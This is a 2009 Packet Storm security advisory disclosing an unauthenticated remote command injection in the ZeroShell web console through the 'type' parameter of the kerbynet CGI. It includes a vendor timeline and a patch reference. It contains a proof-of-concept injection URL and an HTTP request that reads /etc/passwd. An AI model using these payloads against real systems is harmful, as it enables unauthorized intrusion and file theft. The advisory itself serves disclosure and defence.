ZeroShell Code Execution

2009-02-09T00:00:00
ID PACKETSTORM:74803
Type packetstorm
Reporter Luca Carettoni
Modified 2009-02-09T00:00:00

Description

                                        
                                            ` ========================================================================  
ZeroShell <= 1.0beta11 Remote Code Execution  
========================================================================  
  
Affected Software: ZeroShell <= 1.0beta11  
Severity: High  
Local/Remote: Remote  
Author: Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com  
Advisory URL: http://www.ikkisoft.com/stuff/LC-2009-01.txt  
  
[Summary]  
  
ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution  
for servers and embedded devices. This Linux distro can be configured  
and managed with an easy to use web console.  
  
ZeroShell is prone to an arbitrary code execution vulnerability due to  
an improper input validation mechanism. An aggressor may abuse this  
weakness in order to compromise the entire system.  
Authentication is not required in order to exploit this flaw.  
  
[Vulnerability Details]  
  
The ZeroShell web console uses a CGI program and several bash scripts  
to provide all administrative functions. An improper input validation  
mechanism permits the injection of arbitrary system commands.  
An unauthenticated user may invoke a function to retrieve all x509  
certificates present in the repository, using the following GET request:  
https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user  
  
The parameter "type" is used to distinguish between users, CA and host  
certificates. Unfortunately, this parameter is passed to the following  
code without input validation at all:  
  
<-- cut here -->  
TYPE="$1"  
cd "$SSLDIR/certs" || exit 1  
ls *_${TYPE}.pem |awk -F"_$TYPE.pem" -v"TYPE=$TYPE" '{  
<-- cut here -->  
  
An aggressor may easily escape the hardcoded commands, adding arbitrary  
system commands. According to the default system configuration, these  
commands are executed as "apache" (low privileges user).  
  
[Proof of Concept Exploit]  
  
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22  
  
In addition to the Unix commands, it is possible to abuse the  
ZeroShell scripts themself. For instance it is likely to use the  
"getkey" script in order to retrieve remote files, including the content  
in the html page.  
  
{HTTP REQUEST}  
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;  
/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1  
Host: <IP>  
  
[Fix Information]  
  
The vendor has published a patch for the release 1.0beta11 only.  
http://www.zeroshell.net/eng/patch-details/#C100  
  
The new release (1.0beta12) will be available soon.  
  
[Time Table]  
  
08/01/2009 - Vendor notified.  
08/01/2009 - Vendor response.  
11/01/2009 - Vendor patch release.  
09/02/2009 - Public disclosure.  
  
[Legal Notices]  
  
The information in the advisory is believed to be accurate at the  
time of publishing based on currently available information.  
This information is provided as-is, as a free service to the community.  
There are no warranties with regard to this information.  
The author does not accept any liability for any direct,  
indirect, or consequential loss or damage arising from use of,  
or reliance on, this information.  
Permission is hereby granted for the redistribution of this alert,  
provided that the content is not altered in any way, except  
reformatting, and that due credit is given.  
  
This vulnerability has been disclosed in accordance with the RFP  
Full-Disclosure Policy v2.0, available at:  
http://www.wiretrip.net/rfp/policy.html  
`